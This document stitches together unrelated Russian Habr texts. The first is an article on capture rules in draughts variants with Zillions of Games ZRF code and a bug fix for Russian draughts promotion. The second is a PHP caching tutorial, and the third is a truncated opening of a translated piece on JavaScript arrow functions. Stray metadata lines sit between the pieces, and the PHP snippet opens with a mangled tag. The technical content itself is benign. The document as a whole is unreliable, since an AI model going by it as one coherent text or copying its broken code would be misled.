Мы уже потеряли множество настольных игр и продолжаем их терять. Полные правила "[Воздушного боя](http://skyruk.livejournal.com/459139.html)" известны теперь лишь одному безымянному коллекционеру. Мы знаем, что [Сталин](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B0%D0%BB%D0%B8%D0%BD,_%D0%98%D0%BE%D1%81%D0%B8%D1%84_%D0%92%D0%B8%D1%81%D1%81%D0%B0%D1%80%D0%B8%D0%BE%D0%BD%D0%BE%D0%B2%D0%B8%D1%87), по всей видимости, любил настольные игры, но похоже, что теперь уже никто не вспомнит как ходят [эти фигуры](http://skyruk.livejournal.com/459330.html). Я обращаюсь ко всем читателям. Если вам известны правила экзотических и даже самых обычных настольных игр — делитесь с ними. Уточняйте описания в [Wikipedia](https://www.wikipedia.org/) и других общедоступных источниках. Пишите людям, собирающим правила игр, не стесняйтесь их поправлять, если они ошибаются. Не дайте этим знаниям пропасть безвозвратно!
Итак, взятие в шашечных играх является составным ходом, в процессе выполнения которого позиция на доске может изменяться. Если вы не видите в этом проблемы, внимательно посмотрите еще раз. В наиболее древних вариантах игры (осетинском и турецком) взятые фигуры просто убираются с доски, по мере выполнения хода. При этом, одно и то же поле доски может посещаться несколько раз. Единственное ограничение, действующее в «Турецких шашках», заключается в том, что в процессе боя фигур, дамка не может изменять направление движения на противоположное. Такой способ боя (в честь породившей его игры) назвали «турецким ударом» и его мощь (особенно в исполнении дальнобойной дамки) ужасает:
В большинстве современных вариантов игры, действуют специальные правила, делающие выполнение «турецкого удара» невозможным. Взятые фигуры остаются на доске до завершения хода и не могут быть взяты повторно (чтобы отличать их от других фигур, в процессе выполнения «ударного» хода, их обычно переворачивают, а по его завершении убирают с доски все разом). Другой важный вопрос касается того, как именно должно трактоваться правило обязательного взятия, при выполнении составного хода. И здесь возможны варианты…
Проще всего считать, что на любом этапе выполнения хода, взятие является обязательным. Начав «ударный» ход одной из фигур, мы обязаны продолжать его до тех пор, пока имеется возможность боя вражеских фигур. Иными словами, «цепочку взятий» нельзя прерывать, её необходимо пройти до конца. В семействе шашечных игр мне известна всего одна игра (с обязательным взятием) где это правило не действует. Для нас это экзотика, но на Мадагаскаре [Фанорона](http://en.wikipedia.org/wiki/Fanorona) весьма популярна.
Первым, в глаза бросается совершенно непривычный для нас способ взятия фигур. Фанорона относится к редкой разновидности «контактных» шашек (другой интересный представитель этого направления — современная игра [Bushka](http://www.mindsports.nl/index.php/arena/bushka/81-rules?showall=&start=3)). Для того чтобы удалить фигуру противника с доски, нужно подойти к ней вплотную, либо отойти от неё. Удаляется не только атакованная фигура, но и все вражеские фигуры, стоящие за ней по направлению атаки. Пожалуй, этот момент лучше [проиллюстрировать](http://www.boardgamesoftheworld.com/fanorona.html):
Взятие в Фанороне, также как и в шашках, является составным ходом. Атакующая фигура может продолжать брать всё новые и новые фигуры противника, если она имеет такую возможность. Единственное что ей запрещено — это, в процессе боя, менять направление движения на противоположное (почти как в «Турецких шашках»). Уникальным отличием Фанороны от других шашечных игр является то, что игрок может прервать цепочку взятий в любой момент, по своему усмотрению (досадно, что в некоторых [реализациях](https://play.google.com/store/apps/details?id=org.thibault.android.fanoronafree) игры под Android упущен столь важный элемент игровой механики). При этом, первое взятие является обязательным. Нельзя выполнить «тихий» ход, если есть возможность боя фигур противника.
Одни элементарные правила, соединяясь с другими, образуют всё новые и новые разновидности игр. В большинстве из вариантов шашек, серия взятий должна быть завершена. Во многих из них, на последней горизонтали, происходит превращение обычных фигур в дамки. Но как быть, если превращение произошло в процессе «рубки»? Различные варианты игры подходят к решению этого вопроса по разному.
В армянских и русских шашках, превращение происходит в процессе боя — фигура, ставшая дамкой, продолжает взятие уже по новым правилам. В турецких, старофранцузских и английских шашках превращение происходит лишь по завершении хода. В турецких шашках, фигура может продолжать бой (если есть такая возможность), но поскольку «рубка» назад запрещена, фигура остаётся в зоне превращения. В старофранцузском и английском вариантах, простая шашка на последней горизонтали просто не может продолжать движение и останавливается.
**Кстати**Оригинальным образом решается эта проблема в другой древнейшей игровой системе — "[Сенегальских шашках](http://posle-raboti.msk.ru/index/drugie_igry_s_shashkami/0-62)". Превращения фигур, в этой игре, не происходит. Рубка и ходы назад запрещены — фигуры могут двигаться и «рубить» только вперёд и вбок. Шашки, дошедшие до последней горизонтали — просто снимаются с доски! Это правило совершенно лишает игроков стимула к продвижению фигур. Выгодно как можно дольше вести игру в центре доски! Как только фигуры теряют возможность рубить друг друга — игра заканчивается. Побеждает тот игрок, у которого осталось больше фигур.
Забавную метаморфозу претерпевает это правило в международных, 100-клеточных шашках. Превращение, по прежнему, происходит лишь по завершении хода, но «рубка» назад не только разрешена, но и обязательна! Фигура должна продолжать бой и если в его процессе она покидает последнюю горизонталь — никакого превращения не будет, она останется простой фигурой!
Мы не рассмотрели ещё один, последний вопрос, но он даст фору всем предыдущим. Игрок обязан завершить «цепочку» взятий, но как поступить, если таких «цепочек» несколько? Какой из возможных ходов выбрать? Здесь мнения также расходятся. Наиболее либеральных правил придерживаются «Русские шашки». В них игрок может выбрать любой из возможных вариантов взятий. В турецких и международных шашках действует «правило большинства» в его классической трактовке: из всех возможных вариантов взятия, игрок обязан выбрать тот, при котором берётся наибольшее количество фигур противника (простые это фигуры или дамки — не имеет значения).
Во всей своей красе «социальное неравенство» предстаёт в «Итальянских шашках». В этой игре, простая шашка не только не может бить дамку, но и ценится ниже! Требуется бить максимально возможное количество фигур соперника, а при равном их количестве, брать максимальное количество дамок. Своего апогея эта дискриминация достигает в другой итальянской игре. В [Damone](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1260), помимо дамок есть еще и «императоры», неприкосновенные для всех нижестоящих фигур. Этим игра напоминает [Dablot](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1267), но, в отличии от последнего, превращения в ней всё же возможны. Простые шашки могут превратится в дамок, а дамки в императоров (повторные превращения запрещены — простая шашка никогда не станет императором).
Приоритет другого рода действует в «Португальских шашках» — если имеется выбор между взятием дамкой или простой шашкой, игрок должен рубить дамкой. Самая сложная формулировка «правила большинства» действует в «Старофранцузских шашках». Позволю себе [цитату](http://skyruk.livejournal.com/256132.html#cutid1):
> * *Первоначально выбор из двух вариантов взятия был добровольным, вне зависимости от качества и количества шашек, и только в 1653 году было введено Правило большинства (при серийном взятии игрок должен рубить максимально возможное количество).*
> * *Если при серии взятий можно рубить одинаковое количество шашек простой шашкой или дамкой, игрок обязан брать дамкой. Однако если количество снимаемых шашек одинаково в обоих случаях, но в одной «ветке» есть дамки противника (или их там больше), игрок обязан выбрать именно этот вариант, даже если тогда придется рубить простой шашкой, а не дамкой.*
> * *Кроме того, ранг снимаемых шашек не имеет значения, серийное взятие подчиняется количеству: брать шашки нужно по максимуму. При выборе взять или 3 простых шашки или 2 дамки игрок обязан взять 3 простых.*
>
Думаю, вы уже поняли, что, в плане реализации, шашечные игры ничуть не проще шахмат. Что предоставляет [Zillions of Games](http://www.zillions-of-games.com/), чтобы облегчить жизнь разработчикам? Рассмотрим эти возможности:
* Частичные ходы, реализуемые командой **add-partial**
* Приоритеты ходов, определяемые **move-priorities**
* Ряд хитрых настроек настроек, поддерживаемых командой **option**
Без поддержки частичных ходов ни о какой реализации шашек речи бы не было. Команда **add-partial** позволяет объединить последовательность взятий в длинный составной ход. Кроме того, эта команда позволяет выполнить превращение фигуры (например, шашки в дамку) при завершении любого частичного хода (эта возможность пригодится в «Русских шашках»). Единожды выполнив взятие, фигура в шашках не может продолжить ход «тихим» перемещением. Она должна продолжать брать фигуры противника. Очевидно, что требуется какая-то возможность для разделения частичных ходов по типам. И такая возможность есть:
**Типы ходов**
```
(define man-jump-add (
if (not-in-zone? promotion-zone)
(add-partial jumptype)
else
(add-partial King jumptype)
))
...
(piece
(name Man)
...
(moves
(move-type jumptype)
(man-capture nw) (man-capture ne)(man-capture sw)(man-capture se)
(move-type nonjumptype)
(man-shift nw) (man-shift ne)
)
)
```
Если в команде **add-partial** указан тип хода (**jumptype** в примере), составной ход может быть продолжен только ходами этого типа. Типы же используются и для задания приоритета ходов:
```
(move-priorities jumptype nonjumptype)
```
Эта запись означает, что если существует возможность взятия, «тихий» ход выполнять нельзя. В списке приоритетов можно перечислять и более двух типов, но возможность выполнения хода какого-либо типа полностью запрещает все ходы, типы которых следуют далее по списку. Как определяется «правило большинства»? Очень просто и «хардкорно»:
```
(option "maximal captures" true)
```
Можно указать, что при равном количестве фигур следует брать большее количество дамок:
```
(option "maximal captures" 2)
```
На этом возможности заканчиваются. Например, нельзя указать, что следует брать минимальное количество фигур (зачем это может понадобиться — другой вопрос). Команда **option** пригодится и в реализации Фанороны:
```
(option "pass partial" true)
```
Дело в том, что игрок не может просто взять и прекратить выполнение составного хода. Такую возможность необходимо явно разрешить. Мне очень не нравится как сама «магия» команды **option** так и реализация, с её помощью, пропуска ходов (в данном случае, частичных), но это, пожалуй, тема для отдельного разговора.
**А как быть с ''Турецким ударом''?**С этим всё сложно. Взятые, в процессе выполнения составного хода, фигуры необходимо помечать (чтобы исключить возможность их повторного взятия), используя атрибуты или превращение фигур. По завершении составного хода, все помеченные фигуры удаляются с доски. Проблема в том, что генератор ходов ZoG не предоставляет какой-либо возможности постобработки. В результате, приходится определять, какой из частичных ходов выполняется последним.
Код получается очень запутанным (а в случае Фанороны, например, вообще не реализуемым, поскольку решение о завершении хода принимает игрок). Неудивительно, что в таких реализациях полно ошибок. Я часто видел, как часть взятых фигур не удаляется с доски, по завершении составного хода. Встречаются и более сложные случаи. Сможете ли вы найти ошибку в следующем ниже коде?
**Русские шашки**
```
(define international-checker-add
(if (not-flag? more-captures-found?)
(if (in-zone? promotion-zone) (change-type King) )
add
else
(add-partial jumptype)
)
)
(define international-checker-jump-find
mark
(if (on-board? $1)
$1
(if (and enemy? (empty? $1)(not captured?) )
(set-flag more-captures-found? true)
)
)
back
)
(define shashki-jump
(
$1
(verify enemy?)
(verify (not captured?))
(set-attribute captured? true)
(set-flag more-captures-found? false)
(set-flag short-jump? true)
$1
(international-checker-jump-find $1)
(international-checker-jump-find $2)
(international-checker-jump-find $3)
(opposite $1)
(if (flag? more-captures-found?)
(set-attribute captured? true)
else
mark
capture
a0
(while (on-board? nxt)
nxt
(if captured? capture (set-flag short-jump? false))
)
back
)
$1 to
(verify empty?)
(verify (or (not-flag? short-jump?) (flag? more-captures-found?)))
(if (in-zone? promotion-zone) (change-type King))
(international-checker-add)
)
)
...
(variant
(title "Shashki (Russian Draughts)")
...
(piece
(name Checker)
...
(attribute captured? false)
(moves
(move-type jumptype)
(shashki-jump nw ne sw)
(shashki-jump ne nw se)
(shashki-jump sw nw se)
(shashki-jump se sw ne)
(move-type nonjumptype)
(checker-shift nw)
(checker-shift ne)
)
)
...
)
```
Это часть весьма удачного [пакета](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=218) «шашечных» игр, включающего в себя [Белорусские шахматы](http://www.gambiter.ru/checkers/item/276-chess-checkers.html)" (с корректно работающим «матом королём») и «Либерийские шашки» (с очень остроумным запретом завершения игры при трёхкратном повторении позиции), но реализация «Русских шашек» в нём содержит досаднейшую ошибку.
**Ответ**
В первом случае, всё нормально. Белая шашка берёт две чёрных и превращается в дамку. Вторая диаграмма иллюстрирует ошибку. Белая шашка берёт чёрную, превращается в дамку и остаётся на последней линии, хотя и **должна**, по правилам «Русских шашек», взять следующую фигуру ходом дамки.
Локализовав ошибку, исправить её просто. Всё дело в проверках **international-checker-jump-find**, определяющих, имеется ли у хода продолжение. Этот макрос проверяет, можно ли взять следующую фигуру из целевой позиции, но делает это по правилам не превращённой фигуры. Это работает для «Международных шашек», но в «Русских шашках» не учитывает все возможности. Моё исправление не слишком изящно, но решает проблему:
**Исправление**
```
+(define shashki-checker-jump-find
+ mark
+ (while (and (on-board? $1) (empty? $1))
+ $1
+ )
+ (if (on-board? $1)
+ $1
+ (if (and enemy? (empty? $1)(not captured?) )
+ (set-flag more-captures-found? true)
+ )
+ )
+ back
+)
(define shashki-jump
(
$1
(verify enemy?)
(verify (not captured?))
(set-attribute captured? true)
(set-flag more-captures-found? false)
(set-flag short-jump? true)
$1
+ (if (in-zone? promotion-zone)
+ (shashki-checker-jump-find $1)
+ (shashki-checker-jump-find $2)
+ (shashki-checker-jump-find $3)
+ else
(international-checker-jump-find $1)
(international-checker-jump-find $2)
(international-checker-jump-find $3)
+ )
(opposite $1)
(if (flag? more-captures-found?)
(set-attribute captured? true)
else
mark
capture
a0
(while (on-board? nxt)
nxt
(if captured? capture (set-flag short-jump? false))
)
back
)
$1 to
(verify empty?)
(verify (or (not-flag? short-jump?) (flag? more-captures-found?)))
(if (in-zone? promotion-zone) (change-type King))
(international-checker-add)
)
)
```
Если фигура находится в зоне превращения, используем специальную проверку, с пропуском пустых полей по направлению до вражеской фигуры. Следующий частичный ход будет рассчитываться уже по правилам хода дамки, так что там никаких изменений не потребуется.
Кстати, я уже упоминал, в предыдущих статьях, что описания ходов дамок выглядят просто чудовищно. По какой-то причине, команда **add-partial** не работает внутри цикла (происходит аварийный останов программы), а дамка, во всех вариантах шашек с дальнобойными дамками (кроме "[Тайских](http://thaichess.narod.ru/index/0-36)"), должна иметь выбор, на какое свободное поле, после взятой фигуры, ей приземляться. Конечно, выход был найден:
**Ход дамок**
```
(define international-king-jump1
(
(international-king-work)
to
(verify (position-flag? allowed?))
(verify (or (not-flag? short-jump?) (flag? more-captures-found?)))
(international-checker-add)
)
)
(define international-king-jump2
(
(international-king-work)
$1 (verify empty?) to
(verify (position-flag? allowed?))
(verify (or (not-flag? short-jump?) (flag? more-captures-found?)))
(international-checker-add)
)
)
(define international-king-jump3
(
(international-king-work)
$1 (verify empty?) $1 (verify empty?) to
(verify (position-flag? allowed?))
(verify (or (not-flag? short-jump?) (flag? more-captures-found?)))
(international-checker-add)
)
)
...
(variant
(title "Shashki (Russian Draughts)")
...
(piece
(name King)
...
(moves
(move-type jumptype)
(international-king-jump1 nw se ne sw)
(international-king-jump1 ne sw se nw)
(international-king-jump1 sw ne nw se)
(international-king-jump1 se nw sw ne)
(international-king-jump2 nw se ne sw)
(international-king-jump2 ne sw se nw)
(international-king-jump2 sw ne nw se)
(international-king-jump2 se nw sw ne)
(international-king-jump3 nw se ne sw)
(international-king-jump3 ne sw se nw)
(international-king-jump3 sw ne nw se)
(international-king-jump3 se nw sw ne)
(international-king-jump4 nw se ne sw)
(international-king-jump4 ne sw se nw)
(international-king-jump4 sw ne nw se)
(international-king-jump4 se nw sw ne)
(international-king-jump5 nw se ne sw)
(international-king-jump5 ne sw se nw)
(international-king-jump5 sw ne nw se)
(international-king-jump5 se nw sw ne)
(international-king-jump6 nw se ne sw)
(international-king-jump6 ne sw se nw)
(international-king-jump6 sw ne nw se)
(international-king-jump6 se nw sw ne)
...
)
)
)
```
Выбор поля, на котором останавливается дамка, переносится на верхний уровень, непосредственно в цикл генерации хода. Это работает, но обилие «копипаста» вылезает за все разумные пределы. Конечно, лекарство от этого тоже есть, но оно ещё [хуже болезни](http://habrahabr.ru/post/214713/).
В целом, механизмы предоставляемые Zillions of Games вполне работоспособны, если бы не одно но. Реализовать с их помощью «Ossetian Kena», упомянутую под первым спойлером в этой статье, невозможно. Проблема в том, что начиная составной ход мы не знаем, будут ли в процессе его выполнения «съедены» фигуры противника. Кен может перепрыгивать через дружественные кены и бить враждебные, чередуя эти частичные ходы в произвольном порядке, в рамках составного хода.
Очевидно, что «перепрыгивание» и «бой» кеном должны иметь одинаковый тип хода (иначе не удастся построить составной ход, поскольку **add-partial** может принять только один тип), но этому типу хода не может быть задан более высокий приоритет, поскольку, в противном случае, простые перемещения не будут выполняться практически никогда. Это означает, что правило «обязательного взятия» определить не удастся.
Менее очевидно то, что опцию "**pass partial**" придётся установить в **true** (возможность прерывания составного хода игроком). При «перепрыгивании» дружественный кен не удаляется. Обнаружив первый же замкнутый цикл, программа будет прыгать по нему вечно. В редуцированном виде, правила становятся совершенно не играбельными. Обе стороны предпочитают проводить бессмысленные манёвры, а не рисковать своими фигурами, подставляя их под бой противника (это можно видеть в ролике под первым спойлером).
Разумеется, я бы не затевал весь этот разговор, если бы не знал как всё исправить. Для начала, стоит разобраться с тем, что нам мешает в ZRF. Я вижу несколько проблем:
* Отсутствие пред- и постобработки при генерации ходов (усложняет логику, мешает реализовать противодействие «Турецкому удару» в играх подобных Фанороне)
* Совмещение функций завершения генерации хода и перемещения фигур в командах **add** и **add-partial** (одна из причин, по которой **add-partial** не может принять несколько типов ходов)
* Использование типов ходов как для управления построением составного хода, так и для задания приоритетов (механизм приоритетов действует лишь на первый частичный ход, но не на составной ход в целом)
* Отсутствие универсального механизма реализации «правила большинства» (используя ZRF, корректно реализовать «Старофранцузские шашки» вряд ли получится)
В ZRF определение алгоритма генерации хода монолитно. Нет никакой возможности для выполнения некоего единого кода (до или после выполнения основного алгоритма), в рамках генерации произвольного хода (возможно из некоторой группы), но фактическая потребность в этом есть! Противодействие «турецкому удару» — прекрасная тому иллюстрация.
Из за необходимости определения последнего частичного хода (в рамках составного хода) код становится совершенно нечитаемым и подверженным разнообразным ошибкам. Мало того, этот подход не совместим с досрочным прерыванием составного хода (опция "**pass partial**"). Конечно, в Фанороне бороться с «турецким ударом» не требуется (в силу специфики механизма взятия фигур, он невозможен), но игры, в которых такая возможность может понадобиться, вполне имеют право на жизнь.
По поводу того, что совмещение функций перемещения фигур и завершения генерации хода — не самая удачная мысль, я уже неоднократно писал ранее. К счастью, в [Axiom](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1452) это исправлено. Что касается приоритетов, то я вообще считаю это решение крайне неудачным. Существует более универсальный подход, позволяющий реализовать и приоритеты и «правило большинства» и многое другое. Посмотрим, как определение «Ossetian Kena» могло бы выглядеть в идеальном мире:
**Нарушаемый инвариант**
```
(define invariant
(check (>= capturing-count max-capturing-count))
(set! max-capturing-count capturing-count)
)
(define goals
(check-loss no-moves?)
)
(define check-promotion
(if (in-zone? promotion)
(promote King)
)
)
(define check-friend
(check is-friend?)
take-piece
)
(define (man-move direction)
(check direction)
(check is-empty?)
drop-piece
add-move
)
(define (man-jump direction)
(check direction)
(check is-friend?)
(check direction)
(check is-empty?)
drop-piece
(add-move-part jump-type)
)
(define (man-capture direction)
(check direction)
(check is-enemy?)
(increment! capturing-count)
capture
(check direction)
(check is-empty?)
drop-piece
(add-move-part jump-type)
)
...
(game
(title "Ossetian Kena")
...
(pieces
(attribute capturing-count 0)
(pre goals)
(post invariant)
(piece
(name Man)
(pre check-friend)
(post check-promotion)
(moves
(mode normal-type)
(man-move n) (man-move w) (man-move e)
)
(moves
(mode jump-type)
(man-jump n) (man-jump w) (man-jump e) (man-jump s)
(man-capture n) (man-capture w) (man-capture e) (man-capture s)
)
)
(piece
(name King)
...
)
)
)
```
Пред- и пост- действия позволяют разбить логику на относительно независимые фрагменты. Например, проверка на превращение в дамку, в этом варианте шашек, должна выполняться по завершении любого частичного хода ещё не превращённой фигурой (**Man**). Хоть это и небольшой кусок кода, совершенно незачем захламлять им реализацию трёх различных типов ходов. Повторяя один и тот же фрагмент трижды, допустить ошибку в три раза легче (конечно можно использовать макросы, но в данном случае, использование фразы **post**, в описании типа фигуры, выглядит логичнее).
Иного рода проверки расположены в глобальном разделе описания **pieces**. Этот код выполняется до и после завершения всего составного хода (именно здесь должно выполняться превращение фигур в «Международных шашках»). Здесь же, фразой **attribute** можно определять переменные, доступные на любом этапе выполнения составного хода. В **capturing-count** мы подсчитываем общее количество взятых фигур. Инвариант заключается в том, что это значение не должно быть меньше максимального количества фигур, взятых во всех сгенерированных ходах.
Но как это может работать? Хорошо, если ходы будут генерироваться в направлении уменьшения количества взятых фигур (тогда новые варианты будут отбрасываться при проверке), но мы не можем гарантировать такой порядок генерации ходов! Здесь можно пойти на маленькую хитрость. Помимо проверки, можно сформировать отложенное условие, ассоциированное с каждым сгенерированным ходом. Если, при генерации последующего хода, значение **max-capturing-count** изменится, потребуется вновь перепроверить все ранее сгенерированные ходы (их не придётся перегенерировать заново) и отсеять те из них, для которых условие более не выполняется.
Этот механизм подобен тому, который я предлагал для «оптимизированного» вычисления условия завершения **no-moves?**. Слишком накладно каждый раз выполнять генерацию ходов лишь для того, чтобы определить проигрыш игрока. Гораздо разумнее зарегистрировать отложенную проверку, сгенерировать ходы обычным образом и зафиксировать поражение постфактум, если полученный список ходов пуст. В случае инвариантов, этот механизм используется не в целях оптимизации, а для обеспечения корректного их вычисления. Это то, что я называю "**нарушаемым инвариантом**" и я считаю, что эта концепция будет мне очень полезна при разработке генератора ходов. Во всяком случае, она гораздо универсальнее механизмов предлагаемых Zillions of Games и Axiom Development Kit. | https://habr.com/ru/post/253397/ | null | ru | null |
# Теория кэша (часть вторая, практическая, дополненная)
Это вторая, дополнительная (upd: дополненная), часть моей статьи посвященной кэшированию информации при веб-разработке. Первая имеет название [Теория кэша](http://habrahabr.ru/blogs/webdev/38771/).
**UPD:** После многочисленных коментариев я сильно переработал статью, внес в неё больше конкретики и примеров, а так же убрал спорные моменты (например, касательно memcached). Спасибо всем, за конструктивную критику.
В данной статье я попытаюсь описать практические стороны кэширования, ориентированные, прежде всего, на сайты и системы управления контентом. **Сразу предупреждаю, это мое личное мнение, которое не претендует на истину в последней инстанции. Большинство терминологии — моё, вы можете использовать его, если считаете нужным на своё усмотрение. Конструктивная критика приветствуется.**
Итак.
#### Что нужно кэшировать
Как ни покажется странным, кэшировать целесообразно далеко не всё. Кэширующие механизмы сами по себе потребляют ресурсы, и если скажем, информация изменяется так же часто, как и выводится, то смысла кэшировать эту информацию никакого нет (например, системы статистики). Так же не стоит кэшировать процессы, которые и без того протекают быстро.
*Например: Данные изменяются раз в 1 секунду. Происходит запрос на получение этих данных раз в 2 секунды. Данные кешируются 0,1 секунды, а отдаются из кеша 0,2 сек. Тогда при обращении к данным всегда будет получатся ситуация, когда нам потребуется перестроение данных — которая будет занимать 1 + 0,1 сек. А отдаваться данные из кеша практически не будут. Мы проигрываем эти 0,1 сек из-за кеша.*
Первое, что должно быть кэшировано – информация, которая вычисляется крайне долго и ресурсоемко, и используется очень часто. Применимо к сайтам – это результаты выполнения модулей (или приложений), которые используют сложные запросы к базе данных. Кроме этого к ресурсоемким процессам относятся обращения к внешним ресурсам, использующим установку соединения (сокеты, curl и др.), а так же работу с большим объемом сложных данных (парсинг шаблонов, работа с изображениями и др.).
#### Куда нужно кэшировать
Далее в порядке убывания по скорости доступа к кэшу:
**Память.** Это memcached, APC, XCache и другие подобные технологии в том же духе. Они (как правило) предоставляют максимальную скорость доступа, но объем сильно ограничен. Память не подходит для больших данных, но хорошо подходит для сравнительно небольших объемов наиболее часто используемых данных, таких как скажем распарсеные шаблоны и др.
*Например, у нас используется SAX-парсер. Он медленно парсит шаблоны. Сделаем следущее:
При запросе к шаблону сначала проверяется, находится ли он в памяти. Если да, то вытаскивается, делается [unserialize](http://ru.php.net/manual/ru/function.unserialize.php) и отдается. Если нет, мы создаем объект (парсим шаблон), сериализуем ([serialize](http://ru.php.net/manual/ru/language.oop.serialization.php)) его и помещаем в память (имя обозначим как хэш-код от пути файла). Осталось только решить, на каком основании будем обновлять данные кэша. Это можно сделать 2-мя способами:
1. Мы вообще не будем проверять изменения, а кэш будет существовать некоторый прмежуток времени, скажем, обновляться раз в час. Соответственно, при физическом изменении шаблона они вступят в силу максимум через час.
2. Мы будем контролировать изменения шаблона по времени его последнего сохранения. Для этого нам понадобиться еще одна переменная в памяти — время заненсения данных к кэш (можно назвать как имя переменной шаблона в памяти с префиксом time). Соответственно, мы должны будем её устанавливать равным текущему времени при сохранении объекта шаблона в памяти. Далее, при обращении к шаблону мы сначала сравниваем время изменения файла шаблона ([filemtime](http://ru.php.net/manual/ru/function.filemtime.php)) со временем закешированного в памяти. И если время изменения шаблона больше времени кэша, то выполняем его обновление. При таком подходе кэш может существовать вечно, если сам шаблон никогда не будет изменятся. Но как только он изменится, перестроится сам кэш.*
**Файловая система.** Наиболее частоиспользуемый способ. Но и тут есть свои подводные камни. Доступ к файлам существенно замедляется, в директории их становится очень много (чем больше файлов, тем меньше скорость), а на некоторых файловых системах вообще существуют ограничения на количество (ext2 – 32768 файлов в директории). За этим надо строго следить. Например, нельзя для кэширования каких-то табличных данных сваливать их в одну директорию и делать названия равными первичным ключам. У вас такая схема просто когда-нибудь переполнится.
*Вот так можно это сделать на php:*
`<br/
function saveCache($name, $data)
{
$hash = sha1($name);
$chunks = str_split($hash, 4);
$cache_dir = CACHE_DIR.'/'.$chunks[0].'/'.$chunks[1];
if (!is_dir($cache_dir)) mkdir($cache_dir, 0775, true);
return file_put_contents($cache_dir.'/'.$hash, serialize($data));
}
?>`
**База данных.** Тоже может быть использована для кэша. У базы данных есть сильное преимущество – выборка посредством SELECT. Если данных немного, но они зависят от огромного количество условий, то использование БД вполне оправдано, особенно если грамотно создать индексы в таблице. Напрмер, таблицу в БД можно использовать как хранилище результата выборки сложного запроса с объединением многих больших таблиц с применением большого количества условий. Саму выбоку можно поместить во временную таблицу, и выбирать данные уже из неё. Условия выборки будут тоже сложные, но многочилсенных JOIN уже не будет, что повысит скорость *(особенно если используется [ENGINE MEMORY](http://dev.mysql.com/doc/refman/4.1/en/memory-storage-engine.html) применимо к MySQL)*.
Еще одно достоинство кэширование в БД – это упреждающая подготовка кеша. Скажем, можно первым и единственным запросом вытащить все данные для кэширования на конкретной странице и потом использовать уже их, если это нужно. Кэширование в БД конечно медленное, но грамотная организация может серьезно повысить эффективность использования кэша. И еще – существует SQLite, которая тоже хорошо подходит для этого. Особым эксклюзивом считается создание самой базы SQLite в memcached.
*Использование БД для кэша мне представляется редким вариантом. Это больше возможность, нежели практическое применение. Просто, не стоит её упускать из вида.*
#### Как нужно кэшировать
Для кэширования обычно используются хеширование строки, содержащей все параметры от которых зависит кэш. Если хотя бы какой-нибудь параметр изменился, то и сам хэш-код изменится. Для хранения в файловой системе от хеша «отрубаются» первые несколько символов и создаются соответствующие директории, чтоб не было переполнения файловой системе. Время изменения для файловой системы – это время модификации файла, для БД нужно отдельное поле, для памяти – отдельный параметр *(см. пример выше)*.
Без хеш-кода у вас строка зависимостей может сильно распухнуть, тем более, если их много.
**Развернутый пример:**
Скажем, в базе 50000 статей. Запрос к базе на получение одной статьи работает долго, что не удивительно с таким объемом. Простой счучай — у нас нет JOIN других талиц.
Делаем следущее — прописываем некоторую зависимость в таблицу зависимостей. Таблица у нас может быть простым массивом, который сериализован и положен в файл. Это нужно для проверки актуальности кэша, что бы решить перестроить закешированные данные в связи с их изменением или можно использовать имеющиеся в кэше. При любом изменении нашей таблице в БД обновляем эту зависимость в таблице, т.е. устанавливаем время равное текущему. Объемы у нас большие, значит лучше использовать кеширование в файловую систему.
Кладем результат выполнения в кэш. При повторном запросе, сравниваем время изменения файла кэша с временем из таблицы зависимостей. Если время файла кэша меньше, перестраиваем — иначе отдаем то что в кэше.
Теперь. Если у нас в одной из 50000 статей мы изменили одну букву, то кэш дропнется для всех, что не является эффективным. Попробуем этого избежать:
Предположим, у нас для каждой статьи есть место где она отображается полностью. Еще есть лента статей, где отображаются краткая информация у всех, которая так же кэшируется вышеописанным способом. Если изменится одна статья, то изменится место, где она отображается полностью, а так же лента (потому что она в ней присутствует). Тогда мы создадим отдельный кэш для каждой из статьи и отдельный кэш для ленты:
Кэш ленты *явно* зависит от заблицы зависимостей (и *неявно зависит* от каждой отдельной статьи), т.е. времени последнего изменения таблицы со статьями в БД. Но отдельно взятая статья *условно зависит* от этого времени, т.е. она зависит от него при *условии*, что изменилась именно эта статья. Поэтому при показе отдельной статьи мы не будем использовать это время: если есть кэш статьи, то его покажем. Если нет — то построим статью и положим в кэш. Но, важное условие при этом — при редактировании отдельно взятой статьи мы должны удалить её кэш.
В итоге: При редактировании статьи мы обновляем время в таблице зависимостей и уничтожаем кэш этой статьи. При показе ленты решение об её обновлении принимается на основе таблицы зависимостей. При показе отдельной статьи если есть кэш, то он показывается. тем самым, при изменении статьи происходит перестройка кэша списка и этой статьи, но кэш других статей не затрагивается.
#### На что еще нужно обратить внимание
При кэшировании в файловую систему нельзя весь кэш пихать в одно место. То есть для каждых отдельных объектов лучше использовать свой директорий, например для страниц /cache/pages, для пользователей /cache/users и так далее. Это нужно, чтоб случайно данные не совпали. Допустим, у вас 2 разных сущности, с одинаковыми id. Так получилось, что надо сохнранить кэш обоих только по этому id. Хэш в обоих случаях будет одинаков, тем самым возникнет конфликт. Но если для каждой сущности будет выделен своё место, этого не будет.
При удалении элемента нужно не забывать удалять и сам кэш. Иначе со временем он распухнет из-за большого количества неактуальных данных. Как вариант – периодическое физическое удаление всего кэша.
Еще существует такая штука как «быстрый» кэш (FastCache, терминология моя). Идея FastCache заключается в том, что бы закэшировать наиболее часто используемые объекты наиболее быстрым образом, отметая все остальное. Например, можно положить полностью созданную главную страницу в память и отдавать её, если ничего не изменилось, незалогиненым пользователям. Основная нагрузка идет именно на главную страницу, поэтому это может сильно разгрузить ресурсы.
#### Заключение
Как правильно заметили в одном из комментариев прошлой статьи – кэширование — это часть оптимизации сайта, которое особенно эффективно при высоконагруженных системах. Эффективность работы сайта не состоит из эффективности одного только кэша. Более того, иногда он может быть вообще лишним, поэтому стоит хорошо подумать, прежде чем «прикручивать кэш». Если, например, посещаемость сайта менее 1000 человек в день о кэшировании можно не думать. Хотя конечно, смотря какой сайт.
Спасибо за прочтение! | https://habr.com/ru/post/38911/ | null | ru | null |
# Для чего на самом деле нужны стрелочные функции в JavaScript
Привет, Хабр! Представляю вашему вниманию перевод статьи [«The real reason why JavaScript has arrow functions»](https://medium.com/front-end-weekly/the-real-reason-why-javascript-has-arrow-functions-8a2da3bbb559) автора Martin Novák.
